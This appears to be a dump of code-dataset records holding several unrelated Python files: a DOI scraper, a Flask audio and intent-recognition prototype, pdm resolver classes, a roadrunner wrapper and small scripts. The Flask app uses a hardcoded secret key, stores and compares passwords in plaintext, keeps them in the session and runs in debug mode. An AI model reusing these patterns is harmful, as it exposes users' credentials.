] | null | null | null | getdoi/getDOIFromURL/science.py | YutoMizutani/getdoi | cf4e1a2bebe2d6cd9f534221a965d6153974f495 | [
"MIT"
] | null | null | null | getdoi/getDOIFromURL/science.py | YutoMizutani/getdoi | cf4e1a2bebe2d6cd9f534221a965d6153974f495 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# === About ============================================================================================================
"""
science.py
Copyright © 2017 Yuto Mizutani.
This software is released under the MIT License.
Version: 1.0.0
TranslateAuthors: Yuto Mizutani
E-mail: yuto.mizutani.dev@gmail.com
Website: http://operantroom.com
Created: 2017/12/09
Device: MacBook Pro (Retina, 13-inch, Mid 2015)
OS: macOS Serria version 10.12.6
IDE: PyCharm Community Edition 2017.2.4
Python: 3.6.1
"""
# --- References ---
# --- notes ---
# --- Information ---
# --- Circumstances ---
# === import ===========================================================================================================
""" Standard library """
""" Third party library """
""" Local library """
from .gettableDOI import GettableDOI
from getdoi.scraping.beautifulSoupModel import BeautifulSoupModelImpl
# === CONSTANTS ========================================================================================================
# === User Parameters ==================================================================================================
# === variables ========================================================================================================
# ======================================================================================================================
class Science(GettableDOI):
# http://science.sciencemag.org/content/309/5732/3106
# 10.1126/science.1114519
# -- constants --
JOURNAL_URL = 'science.sciencemag.org'
JOURNAL_STR = 'Science'
DOI_KEY = 'DOI: '
DOI_URL = "https://doi.org/"
DOI_STR = 'doi: '
META_KEY = 'name'
META_ID = 'citation_doi'
# natureは平文にdoi:10.1038/79951と記載されているのみである。
# -- controller --
def get(self, *, url)->str or None:
return self.get_url(url=url)
def get_url(self, *, url)->str or None:
"""return a full URL link"""
"""doiを読み込む。doiはmeta内である。"""
soup = BeautifulSoupModelImpl()
raw_doi = soup.get_meta_content(url=url, key=self.META_KEY, id=self.META_ID)
# print(raw_doi)
if raw_doi is not None:
doi_url = self.__translate_url(raw_doi=raw_doi)
return doi_url
else:
print('Any DOI found from {journal} ({link})'.format(journal=self.JOURNAL_STR, link=url))
return None
def get_prev_format(self, *, url)->str or None:
"""doi:[space] [doinumber]"""
doi_url = self.get_url(url=url)
if doi_url is None:
return None
else:
return self.__translate_prev_format(doi_url=doi_url)
# -- translator --
def __translate_url(self, *, raw_doi):
"""10.1126/science.1114519からhttps://dx.doi.org/を加える。"""
return self.DOI_URL+raw_doi
def __translate_prev_format(self, *, doi_url):
"""https://doi.org/10.1126/science.1114519からhttps://doi.org/を引きdoi: を加える。"""
return self.DOI_STR+doi_url.replace(self.DOI_URL, '')
| 32.913978 | 120 | 0.49951 |
from .gettableDOI import GettableDOI
from getdoi.scraping.beautifulSoupModel import BeautifulSoupModelImpl
class Science(GettableDOI):
JOURNAL_URL = 'science.sciencemag.org'
JOURNAL_STR = 'Science'
DOI_KEY = 'DOI: '
DOI_URL = "https://doi.org/"
DOI_STR = 'doi: '
META_KEY = 'name'
META_ID = 'citation_doi'
def get(self, *, url)->str or None:
return self.get_url(url=url)
def get_url(self, *, url)->str or None:
soup = BeautifulSoupModelImpl()
raw_doi = soup.get_meta_content(url=url, key=self.META_KEY, id=self.META_ID)
if raw_doi is not None:
doi_url = self.__translate_url(raw_doi=raw_doi)
return doi_url
else:
print('Any DOI found from {journal} ({link})'.format(journal=self.JOURNAL_STR, link=url))
return None
def get_prev_format(self, *, url)->str or None:
doi_url = self.get_url(url=url)
if doi_url is None:
return None
else:
return self.__translate_prev_format(doi_url=doi_url)
def __translate_url(self, *, raw_doi):
return self.DOI_URL+raw_doi
def __translate_prev_format(self, *, doi_url):
return self.DOI_STR+doi_url.replace(self.DOI_URL, '')
| true | true |
f72616177243550a1e3e7b68785b0d0fd43a39d3 | 8,412 | py | Python | Intent Recognition Protoype/app.py | AndBuch/intent-recognition-for-dialogs | 1a0bdfc8f36cf31e097a662c86f671bb5c820bc1 | [
"MIT"
] | null | null | null | Intent Recognition Protoype/app.py | AndBuch/intent-recognition-for-dialogs | 1a0bdfc8f36cf31e097a662c86f671bb5c820bc1 | [
"MIT"
] | null | null | null | Intent Recognition Protoype/app.py | AndBuch/intent-recognition-for-dialogs | 1a0bdfc8f36cf31e097a662c86f671bb5c820bc1 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, url_for, request, redirect, session
from flask_sqlalchemy import SQLAlchemy
import uuid
import wave
from flask_socketio import emit, SocketIO
from datetime import datetime
import database_custom
import os
# Set this variable to "threading", "eventlet" or "gevent" to test the
# different async modes, or leave it set to None for the application to choose
# the best option based on installed packages.
async_mode = None
# Directory path
dir_path = os.path.dirname(os.path.realpath(__file__))
# Define app/ reference file
app = Flask(__name__)
app.secret_key = "hello"
socketio = SocketIO(app)
# Define the names of the databases and create the databases (saved into same directory as app.py)
db_names = ['main', 'user']
db_keys = {'user'}
database_custom.CreateDatabase(db_names)
# Bind databases to application
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///main.db' # first database to connect to
app.config['SQLALCHEMY_BINDS'] = {'user': 'sqlite:///user.db'} # dictionary that holds additional databases
db = SQLAlchemy(app) # initalize DB with app
# Create tables and their columns
class Main(db.Model):
id = db.Column(db.Integer, primary_key = True)
content = db.Column(db.String(200), nullable = False) # String(length in character), nullable = can be empty?
completed = db.Column(db.Integer, default = 0)
date_created = db.Column(db.DateTime, default = datetime.utcnow) # Default = if entry is created automatically create datetime
def __repr__(self):
return '<Task %r>' %self.id
class User(db.Model):
__bind_key__ = 'user'
id = db.Column(db.Integer, primary_key = True)
users = db.Column(db.String(200), nullable = False)
password = db.Column(db.String(200), nullable = False)
date_created = db.Column(db.DateTime, default = datetime.utcnow)
database_custom.CreateTables(db) # Create tables using the function in database.py
'''
----------------------------------------------------------------------------------
INDEX-Page
----------------------------------------------------------------------------------
'''
@app.route('/', methods = ['POST', 'GET'])
# Define the functions for the index page
def index():
if request.method == 'POST':
task_content = request.form['content']
new_task = Main(content = task_content)
try:
db.session.add(new_task)
db.session.commit()
return redirect('/')
except:
return "There was an issue with your request"
else:
tasks = Main.query.order_by(Main.date_created).all()
return render_template('index.html', tasks = tasks)
return render_template('index.html')
'''
----------------------------------------------------------------------------------
HOME-Page
----------------------------------------------------------------------------------
'''
@app.route('/home', methods = ['POST', 'GET'])
# Define the functions for the home page
def home():
if request.method == 'POST':
user = request.form['user']
password = request.form['password']
session['user'] = user
session['password'] = password
return redirect(url_for("portallogin"))
else:
tasks = Main.query.order_by(Main.date_created).all()
return render_template('home.html', tasks = tasks)
return render_template('home.html')
'''
----------------------------------------------------------------------------------
PORTAL-Login Procedure
----------------------------------------------------------------------------------
'''
@app.route('/portallogin', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portallogin():
if "user" in session:
user = session["user"]
password = session['password']
# Check if user is in database and get first row of database and select the password
found_user = User.query.filter_by(users = user).first()
if found_user and password == found_user.password:
session["login"] = True
return redirect(url_for('portalrecord'))
else:
return redirect(url_for('home'))
else:
return redirect(url_for('home'))
'''
----------------------------------------------------------------------------------
PORTAL-Dialog Player Page
----------------------------------------------------------------------------------
'''
@app.route('/portal_record', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portalrecord():
if "user" in session and session["login"] == True:
return render_template('portal.html')
else:
return redirect(url_for('home'))
@app.route('/uploads', methods=['POST'])
def save_audio():
print("got new audio file")
rawAudio = request.get_data()
audioFile = open('RecordedFile.wav', 'wb')
audioFile.write(rawAudio)
audioFile.close()
'''
----------------------------------------------------------------------------------
PORTAL-Dialog Player Page
----------------------------------------------------------------------------------
'''
@app.route('/portal_dialog', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portaldialog():
if "user" in session and session["login"] == True:
return render_template('portal_dialog player.html')
else:
return redirect(url_for('home'))
'''
----------------------------------------------------------------------------------
PORTAL-Statistics Page
----------------------------------------------------------------------------------
'''
@app.route('/portal_statistics', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portalstatistics():
if "user" in session and session["login"] == True:
return render_template('portal_statistics.html')
else:
return redirect(url_for('home'))
'''
----------------------------------------------------------------------------------
PORTAL-Intent Checker Page
----------------------------------------------------------------------------------
'''
@app.route('/portal_check', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portalcheck():
if "user" in session and session["login"] == True:
return render_template('portal_intent checker.html')
else:
return redirect(url_for('home'))
'''
----------------------------------------------------------------------------------
PORTAL-Logout Procedure
----------------------------------------------------------------------------------
'''
@app.route('/portallogout', methods = ['POST', 'GET'])
# Define the functions for the portal page
def portallogout():
session.pop("user", None)
return redirect(url_for('home'))
'''
----------------------------------------------------------------------------------
AUDIO-Recorder
----------------------------------------------------------------------------------
'''
@socketio.on('start-recording')
def start_recording(options):
print('started recording')
"""Start recording audio from the client."""
# Create new audio file in folder /audio
id = uuid.uuid4().hex # server-side filename
session['wavename'] = id + '.wav'
audio_path = dir_path + '/audio/' + session['wavename']
wf = wave.open(audio_path, 'wb')
# Create new audio format
wf.setnchannels(options.get('numChannels', 1))
wf.setsampwidth(options.get('bps', 16) // 8)
wf.setframerate(options.get('fps', 44100))
session['wavefile'] = wf
@socketio.on('write-audio')
def write_audio(data):
print("write data")
"""Write a chunk of audio from the client."""
session['wavefile'].writeframes(data)
@socketio.on('end-recording')
def end_recording():
print("end recording")
"""Stop recording audio from the client."""
emit('add-wavefile', audio_path = dir_path + '/audio/' + session['wavename'])
session['wavefile'].close()
del session['wavefile']
del session['wavename']
'''
----------------------------------------------------------------------------------
For debugging
----------------------------------------------------------------------------------
'''
if __name__ == "__main__":
socketio.run(app, debug=True)
| 30.042857 | 133 | 0.526153 | from flask import Flask, render_template, url_for, request, redirect, session
from flask_sqlalchemy import SQLAlchemy
import uuid
import wave
from flask_socketio import emit, SocketIO
from datetime import datetime
import database_custom
import os
async_mode = None
dir_path = os.path.dirname(os.path.realpath(__file__))
app = Flask(__name__)
app.secret_key = "hello"
socketio = SocketIO(app)
db_names = ['main', 'user']
db_keys = {'user'}
database_custom.CreateDatabase(db_names)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///main.db'
app.config['SQLALCHEMY_BINDS'] = {'user': 'sqlite:///user.db'}
db = SQLAlchemy(app)
class Main(db.Model):
id = db.Column(db.Integer, primary_key = True)
content = db.Column(db.String(200), nullable = False)
completed = db.Column(db.Integer, default = 0)
date_created = db.Column(db.DateTime, default = datetime.utcnow)
def __repr__(self):
return '<Task %r>' %self.id
class User(db.Model):
__bind_key__ = 'user'
id = db.Column(db.Integer, primary_key = True)
users = db.Column(db.String(200), nullable = False)
password = db.Column(db.String(200), nullable = False)
date_created = db.Column(db.DateTime, default = datetime.utcnow)
database_custom.CreateTables(db)
@app.route('/', methods = ['POST', 'GET'])
def index():
if request.method == 'POST':
task_content = request.form['content']
new_task = Main(content = task_content)
try:
db.session.add(new_task)
db.session.commit()
return redirect('/')
except:
return "There was an issue with your request"
else:
tasks = Main.query.order_by(Main.date_created).all()
return render_template('index.html', tasks = tasks)
return render_template('index.html')
@app.route('/home', methods = ['POST', 'GET'])
def home():
if request.method == 'POST':
user = request.form['user']
password = request.form['password']
session['user'] = user
session['password'] = password
return redirect(url_for("portallogin"))
else:
tasks = Main.query.order_by(Main.date_created).all()
return render_template('home.html', tasks = tasks)
return render_template('home.html')
@app.route('/portallogin', methods = ['POST', 'GET'])
def portallogin():
if "user" in session:
user = session["user"]
password = session['password']
found_user = User.query.filter_by(users = user).first()
if found_user and password == found_user.password:
session["login"] = True
return redirect(url_for('portalrecord'))
else:
return redirect(url_for('home'))
else:
return redirect(url_for('home'))
@app.route('/portal_record', methods = ['POST', 'GET'])
def portalrecord():
if "user" in session and session["login"] == True:
return render_template('portal.html')
else:
return redirect(url_for('home'))
@app.route('/uploads', methods=['POST'])
def save_audio():
print("got new audio file")
rawAudio = request.get_data()
audioFile = open('RecordedFile.wav', 'wb')
audioFile.write(rawAudio)
audioFile.close()
@app.route('/portal_dialog', methods = ['POST', 'GET'])
def portaldialog():
if "user" in session and session["login"] == True:
return render_template('portal_dialog player.html')
else:
return redirect(url_for('home'))
@app.route('/portal_statistics', methods = ['POST', 'GET'])
def portalstatistics():
if "user" in session and session["login"] == True:
return render_template('portal_statistics.html')
else:
return redirect(url_for('home'))
@app.route('/portal_check', methods = ['POST', 'GET'])
def portalcheck():
if "user" in session and session["login"] == True:
return render_template('portal_intent checker.html')
else:
return redirect(url_for('home'))
@app.route('/portallogout', methods = ['POST', 'GET'])
def portallogout():
session.pop("user", None)
return redirect(url_for('home'))
@socketio.on('start-recording')
def start_recording(options):
print('started recording')
id = uuid.uuid4().hex
session['wavename'] = id + '.wav'
audio_path = dir_path + '/audio/' + session['wavename']
wf = wave.open(audio_path, 'wb')
wf.setnchannels(options.get('numChannels', 1))
wf.setsampwidth(options.get('bps', 16) // 8)
wf.setframerate(options.get('fps', 44100))
session['wavefile'] = wf
@socketio.on('write-audio')
def write_audio(data):
print("write data")
session['wavefile'].writeframes(data)
@socketio.on('end-recording')
def end_recording():
print("end recording")
emit('add-wavefile', audio_path = dir_path + '/audio/' + session['wavename'])
session['wavefile'].close()
del session['wavefile']
del session['wavename']
if __name__ == "__main__":
socketio.run(app, debug=True)
| true | true |
f72616de29779e50da24b38a39bb7a37b89fe8df | 325 | py | Python | p_var.py | PacktPublishing/Packt | 790c5a01eba5979ba4f22392538197981cb10447 | [
"MIT"
] | null | null | null | p_var.py | PacktPublishing/Packt | 790c5a01eba5979ba4f22392538197981cb10447 | [
"MIT"
] | null | null | null | p_var.py | PacktPublishing/Packt | 790c5a01eba5979ba4f22392538197981cb10447 | [
"MIT"
] | null | null | null | class car:
__topspeed = 0
__name=""
def __init__(self):
self.__topspeed=250
self.name="SAM"
def drive(self):
print("Drive Top Speed=" +str(self.__topspeed))
def setTopSpeed(self,speed):
self.__topspeed=speed
volvo=car()
volvo.drive()
volvo.setTopSpeed(380)
volvo.drive() | 17.105263 | 55 | 0.627692 | class car:
__topspeed = 0
__name=""
def __init__(self):
self.__topspeed=250
self.name="SAM"
def drive(self):
print("Drive Top Speed=" +str(self.__topspeed))
def setTopSpeed(self,speed):
self.__topspeed=speed
volvo=car()
volvo.drive()
volvo.setTopSpeed(380)
volvo.drive() | true | true |
f726183b6b3459cd5406c87d8bc7c89200072c21 | 3,203 | py | Python | crnt4sbml/safety_wrap.py | PNNL-Comp-Mass-Spec/CRNT4SBML | 20406f452863f35f766b504fe2b3f3ab034b62fe | [
"Apache-2.0"
] | null | null | null | crnt4sbml/safety_wrap.py | PNNL-Comp-Mass-Spec/CRNT4SBML | 20406f452863f35f766b504fe2b3f3ab034b62fe | [
"Apache-2.0"
] | 1 | 2019-09-26T21:04:31.000Z | 2019-09-26T21:04:31.000Z | crnt4sbml/safety_wrap.py | PNNL-Comp-Mass-Spec/CRNT4SBML | 20406f452863f35f766b504fe2b3f3ab034b62fe | [
"Apache-2.0"
] | 1 | 2019-10-29T20:41:34.000Z | 2019-10-29T20:41:34.000Z | import os
import pickle
import numpy
import antimony
import roadrunner
import rrplugins
import sys
roadrunner.Logger.setLevel(roadrunner.Logger.LOG_ERROR)
roadrunner.Logger.disableLogging()
roadrunner.Logger.disableConsoleLogging()
roadrunner.Logger.disableFileLogging()
rrplugins.setLogLevel('error')
stderr_fileno = sys.stderr.fileno()
stderr_save = os.dup(stderr_fileno)
stderr_pipe = os.pipe()
os.dup2(stderr_pipe[1], stderr_fileno)
os.close(stderr_pipe[1])
# functions taken from Tellurium!! Give them
# credit, they deserve it!
#################################################
def __check_antimony_return_code(code):
if code < 0:
raise Exception('Antimony: {}'.format(antimony.getLastError()))
def __antimony_to_sbml(ant):
try:
isfile = os.path.isfile(ant)
except ValueError:
isfile = False
if isfile:
code = antimony.loadAntimonyFile(ant)
else:
code = antimony.loadAntimonyString(ant)
__check_antimony_return_code(code)
mid = antimony.getMainModuleName()
return antimony.getSBMLString(mid)
def __loada(ant):
return __load_antimony_model(ant)
def __load_antimony_model(ant):
sbml = __antimony_to_sbml(ant)
return roadrunner.RoadRunner(sbml)
with open('input_arguments.pickle', 'rb') as pickle_file:
input_arguments = pickle.loads(pickle_file.read())
ant_str = input_arguments[0]
direction = input_arguments[1]
auto = rrplugins.Plugin("tel_auto2000")
auto_parameters = input_arguments[2]
antimony_r = __loada(ant_str)
# # making the directory auto_fort_files if is does not exist
# if not os.path.isdir("./auto_fort_files"):
# os.mkdir("./auto_fort_files")
auto.setProperty("SBML", antimony_r.getCurrentSBML())
auto.setProperty("ScanDirection", direction)
auto.setProperty("PreSimulation", "True")
auto.setProperty("PreSimulationDuration", 1.0)
auto.setProperty('KeepTempFiles', True)
auto.setProperty("TempFolder", "auto_fort_files")
# assigning values provided by the user
for i in auto_parameters.keys():
auto.setProperty(i, auto_parameters[i])
try:
auto.execute()
# indices where special points are
pts = auto.BifurcationPoints
# labeling of special points
lbls = auto.BifurcationLabels
# all data for parameters and species found by continuation
bi_data = auto.BifurcationData
# convertes bi_data to numpy array, where first
# column is the principal continuation parameter and
# the rest of the columns are the species
bi_data_np = bi_data.toNumpy
flag = True
except Exception as e:
flag = False
pts = []
lbls = []
bi_data_np = numpy.zeros(2)
ant_float_ids = antimony_r.model.getFloatingSpeciesIds()
numpy.save('bi_data_np.npy', bi_data_np)
output_arguments = [pts, lbls, ant_float_ids, flag]
if os.path.exists("output_arguments.pickle"):
os.remove("output_arguments.pickle")
with open('output_arguments.pickle', 'wb') as outf:
outf.write(pickle.dumps(output_arguments))
else:
with open('output_arguments.pickle', 'wb') as outf:
outf.write(pickle.dumps(output_arguments))
os.close(stderr_pipe[0])
os.dup2(stderr_save, stderr_fileno)
os.close(stderr_save)
os.close(stderr_fileno)
| 27.612069 | 71 | 0.73119 | import os
import pickle
import numpy
import antimony
import roadrunner
import rrplugins
import sys
roadrunner.Logger.setLevel(roadrunner.Logger.LOG_ERROR)
roadrunner.Logger.disableLogging()
roadrunner.Logger.disableConsoleLogging()
roadrunner.Logger.disableFileLogging()
rrplugins.setLogLevel('error')
stderr_fileno = sys.stderr.fileno()
stderr_save = os.dup(stderr_fileno)
stderr_pipe = os.pipe()
os.dup2(stderr_pipe[1], stderr_fileno)
os.close(stderr_pipe[1])
to_parameters.keys():
auto.setProperty(i, auto_parameters[i])
try:
auto.execute()
pts = auto.BifurcationPoints
lbls = auto.BifurcationLabels
bi_data = auto.BifurcationData
bi_data_np = bi_data.toNumpy
flag = True
except Exception as e:
flag = False
pts = []
lbls = []
bi_data_np = numpy.zeros(2)
ant_float_ids = antimony_r.model.getFloatingSpeciesIds()
numpy.save('bi_data_np.npy', bi_data_np)
output_arguments = [pts, lbls, ant_float_ids, flag]
if os.path.exists("output_arguments.pickle"):
os.remove("output_arguments.pickle")
with open('output_arguments.pickle', 'wb') as outf:
outf.write(pickle.dumps(output_arguments))
else:
with open('output_arguments.pickle', 'wb') as outf:
outf.write(pickle.dumps(output_arguments))
os.close(stderr_pipe[0])
os.dup2(stderr_save, stderr_fileno)
os.close(stderr_save)
os.close(stderr_fileno)
| true | true |
f72619392a6697759ea4f17f8067b0b5a3548221 | 6,841 | py | Python | pdm/resolver/providers.py | linw1995/pdm | f2f67f17efd9cd8593ce06a4933cc2303890dcec | [
"MIT"
] | null | null | null | pdm/resolver/providers.py | linw1995/pdm | f2f67f17efd9cd8593ce06a4933cc2303890dcec | [
"MIT"
] | null | null | null | pdm/resolver/providers.py | linw1995/pdm | f2f67f17efd9cd8593ce06a4933cc2303890dcec | [
"MIT"
] | null | null | null | from typing import Any, Dict, Iterable, List, Optional, Union
from resolvelib import AbstractProvider
from resolvelib.resolvers import RequirementInformation
from pdm.models.candidates import Candidate
from pdm.models.repositories import BaseRepository
from pdm.models.requirements import Requirement
from pdm.models.specifiers import PySpecSet
from pdm.utils import url_without_fragments
class BaseProvider(AbstractProvider):
def __init__(
self,
repository: BaseRepository,
requires_python: PySpecSet,
allow_prereleases: Optional[bool] = None,
) -> None:
self.repository = repository
self.requires_python = requires_python # Root python_requires value
self.allow_prereleases = allow_prereleases # Root allow_prereleases value
self.requires_python_collection: Dict[Optional[str], PySpecSet] = {}
self.summary_collection: Dict[str, str] = {}
self.fetched_dependencies: Dict[str, List[Requirement]] = {}
def identify(self, req: Union[Requirement, Candidate]) -> Optional[str]:
return req.identify()
def get_preference(
self,
resolution: Candidate,
candidates: List[Candidate],
information: List[RequirementInformation],
) -> int:
return len(candidates)
def find_matches(self, requirements: List[Requirement]) -> Iterable[Candidate]:
file_req = next((req for req in requirements if not req.is_named), None)
if file_req:
can = Candidate(file_req, self.repository.environment)
can.get_metadata()
candidates = [can]
else:
candidates = self.repository.find_candidates(
requirements[0], self.requires_python, self.allow_prereleases
)
return [
can
for can in candidates
if all(self.is_satisfied_by(r, can) for r in requirements)
]
def is_satisfied_by(self, requirement: Requirement, candidate: Candidate) -> bool:
if not requirement.is_named:
return not candidate.req.is_named and url_without_fragments(
candidate.req.url
) == url_without_fragments(requirement.url)
if not candidate.version:
candidate.get_metadata()
if getattr(candidate, "_preferred", False) and not candidate._requires_python:
candidate.requires_python = str(
self.repository.get_dependencies(candidate)[1]
)
allow_prereleases = requirement.allow_prereleases
if allow_prereleases is None:
allow_prereleases = self.allow_prereleases
if allow_prereleases is None:
# if not specified, should allow what `find_candidates()` returns
allow_prereleases = True
requires_python = self.requires_python & requirement.requires_python
return requirement.specifier.contains(
candidate.version, allow_prereleases
) and requires_python.is_subset(candidate.requires_python)
def get_dependencies(self, candidate: Candidate) -> List[Requirement]:
deps, requires_python, summary = self.repository.get_dependencies(candidate)
# Filter out incompatible dependencies(e.g. functools32) early so that
# we don't get errors when building wheels.
valid_deps: List[Requirement] = []
for dep in deps:
if (
dep.requires_python & requires_python & self.requires_python
).is_impossible:
continue
dep.requires_python &= candidate.req.requires_python
valid_deps.append(dep)
candidate_key = self.identify(candidate)
self.fetched_dependencies[candidate_key] = valid_deps
self.summary_collection[candidate.req.key] = summary
self.requires_python_collection[candidate.req.key] = requires_python
return valid_deps
def get_hashes(self, candidate: Candidate) -> Optional[Dict[str, str]]:
return self.repository.get_hashes(candidate)
class ReusePinProvider(BaseProvider):
"""A provider that reuses preferred pins if possible.
This is used to implement "add", "remove", and "reuse upgrade",
where already-pinned candidates in lockfile should be preferred.
"""
def __init__(
self,
preferred_pins: Dict[str, Candidate],
tracked_names: Iterable[str],
*args: Any
) -> None:
super().__init__(*args)
self.preferred_pins = preferred_pins
self.tracked_names = set(tracked_names)
def find_matches(self, requirements: List[Requirement]) -> Iterable[Candidate]:
ident = self.identify(requirements[0])
if ident not in self.tracked_names and ident in self.preferred_pins:
pin = self.preferred_pins[ident]
pin._preferred = True
yield pin
yield from super().find_matches(requirements)
class EagerUpdateProvider(ReusePinProvider):
"""A specialized provider to handle an "eager" upgrade strategy.
An eager upgrade tries to upgrade not only packages specified, but also
their dependencies (recursively). This contrasts to the "only-if-needed"
default, which only promises to upgrade the specified package, and
prevents touching anything else if at all possible.
The provider is implemented as to keep track of all dependencies of the
specified packages to upgrade, and free their pins when it has a chance.
"""
def is_satisfied_by(self, requirement: Requirement, candidate: Candidate) -> bool:
# If this is a tracking package, tell the resolver out of using the
# preferred pin, and into a "normal" candidate selection process.
if self.identify(requirement) in self.tracked_names and getattr(
candidate, "_preferred", False
):
return False
return super().is_satisfied_by(requirement, candidate)
def get_dependencies(self, candidate: Candidate) -> List[Requirement]:
# If this package is being tracked for upgrade, remove pins of its
# dependencies, and start tracking these new packages.
dependencies = super().get_dependencies(candidate)
if self.identify(candidate) in self.tracked_names:
for dependency in dependencies:
name = self.identify(dependency)
self.tracked_names.add(name)
return dependencies
def get_preference(
self,
resolution: Candidate,
candidates: List[Candidate],
information: List[RequirementInformation],
) -> int:
# Resolve tracking packages so we have a chance to unpin them first.
name = self.identify(candidates[0])
if name in self.tracked_names:
return -1
return len(candidates)
| 40.720238 | 86 | 0.673586 | from typing import Any, Dict, Iterable, List, Optional, Union
from resolvelib import AbstractProvider
from resolvelib.resolvers import RequirementInformation
from pdm.models.candidates import Candidate
from pdm.models.repositories import BaseRepository
from pdm.models.requirements import Requirement
from pdm.models.specifiers import PySpecSet
from pdm.utils import url_without_fragments
class BaseProvider(AbstractProvider):
def __init__(
self,
repository: BaseRepository,
requires_python: PySpecSet,
allow_prereleases: Optional[bool] = None,
) -> None:
self.repository = repository
self.requires_python = requires_python
self.allow_prereleases = allow_prereleases
self.requires_python_collection: Dict[Optional[str], PySpecSet] = {}
self.summary_collection: Dict[str, str] = {}
self.fetched_dependencies: Dict[str, List[Requirement]] = {}
def identify(self, req: Union[Requirement, Candidate]) -> Optional[str]:
return req.identify()
def get_preference(
self,
resolution: Candidate,
candidates: List[Candidate],
information: List[RequirementInformation],
) -> int:
return len(candidates)
def find_matches(self, requirements: List[Requirement]) -> Iterable[Candidate]:
file_req = next((req for req in requirements if not req.is_named), None)
if file_req:
can = Candidate(file_req, self.repository.environment)
can.get_metadata()
candidates = [can]
else:
candidates = self.repository.find_candidates(
requirements[0], self.requires_python, self.allow_prereleases
)
return [
can
for can in candidates
if all(self.is_satisfied_by(r, can) for r in requirements)
]
def is_satisfied_by(self, requirement: Requirement, candidate: Candidate) -> bool:
if not requirement.is_named:
return not candidate.req.is_named and url_without_fragments(
candidate.req.url
) == url_without_fragments(requirement.url)
if not candidate.version:
candidate.get_metadata()
if getattr(candidate, "_preferred", False) and not candidate._requires_python:
candidate.requires_python = str(
self.repository.get_dependencies(candidate)[1]
)
allow_prereleases = requirement.allow_prereleases
if allow_prereleases is None:
allow_prereleases = self.allow_prereleases
if allow_prereleases is None:
allow_prereleases = True
requires_python = self.requires_python & requirement.requires_python
return requirement.specifier.contains(
candidate.version, allow_prereleases
) and requires_python.is_subset(candidate.requires_python)
def get_dependencies(self, candidate: Candidate) -> List[Requirement]:
deps, requires_python, summary = self.repository.get_dependencies(candidate)
valid_deps: List[Requirement] = []
for dep in deps:
if (
dep.requires_python & requires_python & self.requires_python
).is_impossible:
continue
dep.requires_python &= candidate.req.requires_python
valid_deps.append(dep)
candidate_key = self.identify(candidate)
self.fetched_dependencies[candidate_key] = valid_deps
self.summary_collection[candidate.req.key] = summary
self.requires_python_collection[candidate.req.key] = requires_python
return valid_deps
def get_hashes(self, candidate: Candidate) -> Optional[Dict[str, str]]:
return self.repository.get_hashes(candidate)
class ReusePinProvider(BaseProvider):
def __init__(
self,
preferred_pins: Dict[str, Candidate],
tracked_names: Iterable[str],
*args: Any
) -> None:
super().__init__(*args)
self.preferred_pins = preferred_pins
self.tracked_names = set(tracked_names)
def find_matches(self, requirements: List[Requirement]) -> Iterable[Candidate]:
ident = self.identify(requirements[0])
if ident not in self.tracked_names and ident in self.preferred_pins:
pin = self.preferred_pins[ident]
pin._preferred = True
yield pin
yield from super().find_matches(requirements)
class EagerUpdateProvider(ReusePinProvider):
def is_satisfied_by(self, requirement: Requirement, candidate: Candidate) -> bool:
# If this is a tracking package, tell the resolver out of using the
# preferred pin, and into a "normal" candidate selection process.
if self.identify(requirement) in self.tracked_names and getattr(
candidate, "_preferred", False
):
return False
return super().is_satisfied_by(requirement, candidate)
def get_dependencies(self, candidate: Candidate) -> List[Requirement]:
# If this package is being tracked for upgrade, remove pins of its
# dependencies, and start tracking these new packages.
dependencies = super().get_dependencies(candidate)
if self.identify(candidate) in self.tracked_names:
for dependency in dependencies:
name = self.identify(dependency)
self.tracked_names.add(name)
return dependencies
def get_preference(
self,
resolution: Candidate,
candidates: List[Candidate],
information: List[RequirementInformation],
) -> int:
# Resolve tracking packages so we have a chance to unpin them first.
name = self.identify(candidates[0])
if name in self.tracked_names:
return -1
return len(candidates)
| true | true |
f726193a37608aae08e652a88fa96a6e2af5182f | 427 | py | Python | Python1/python1/word_counter.py | ceeblet/OST_PythonCertificationTrack | 042e0ce964bc88b3f4132dcbd7e06c5f504eae34 | [
"MIT"
] | null | null | null | Python1/python1/word_counter.py | ceeblet/OST_PythonCertificationTrack | 042e0ce964bc88b3f4132dcbd7e06c5f504eae34 | [
"MIT"
] | null | null | null | Python1/python1/word_counter.py | ceeblet/OST_PythonCertificationTrack | 042e0ce964bc88b3f4132dcbd7e06c5f504eae34 | [
"MIT"
] | null | null | null | #!/usr/local/bin/python3
"""Count the number of different words in a text."""
text = """\
Baa, Baa, Black sheep,
Have you any wool?
Yes sir, yes sir,
Three bags full;
One for the master,
And one for the dame,
And one for the little boy
Who lives down the lane."""
for punc in ",?;.":
text = text.replace(punc, "")
print(text)
words = set(text.lower().split())
print("There are", len(words), "distinct words in the text.") | 23.722222 | 61 | 0.672131 |
text = """\
Baa, Baa, Black sheep,
Have you any wool?
Yes sir, yes sir,
Three bags full;
One for the master,
And one for the dame,
And one for the little boy
Who lives down the lane."""
for punc in ",?;.":
text = text.replace(punc, "")
print(text)
words = set(text.lower().split())
print("There are", len(words), "distinct words in the text.") | true | true |
f72619f4db7804ed8962e86a9e8a707a354a4d0e | 32,049 | py | Python | ros2interface/test/test_cli.py | craigh92/ros2cli | 6c1af39c728145942346b40e998b8a3984f1b6c1 | [
"Apache-2.0"
] | null | null | null | ros2interface/test/test_cli.py | craigh92/ros2cli | 6c1af39c728145942346b40e998b8a3984f1b6c1 | [
"Apache-2.0"
] | null | null | null | ros2interface/test/test_cli.py | craigh92/ros2cli | 6c1af39c728145942346b40e998b8a3984f1b6c1 | [
"Apache-2.0"
] | 1 | 2021-01-20T03:26:07.000Z | 2021-01-20T03:26:07.000Z | # Copyright 2019 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
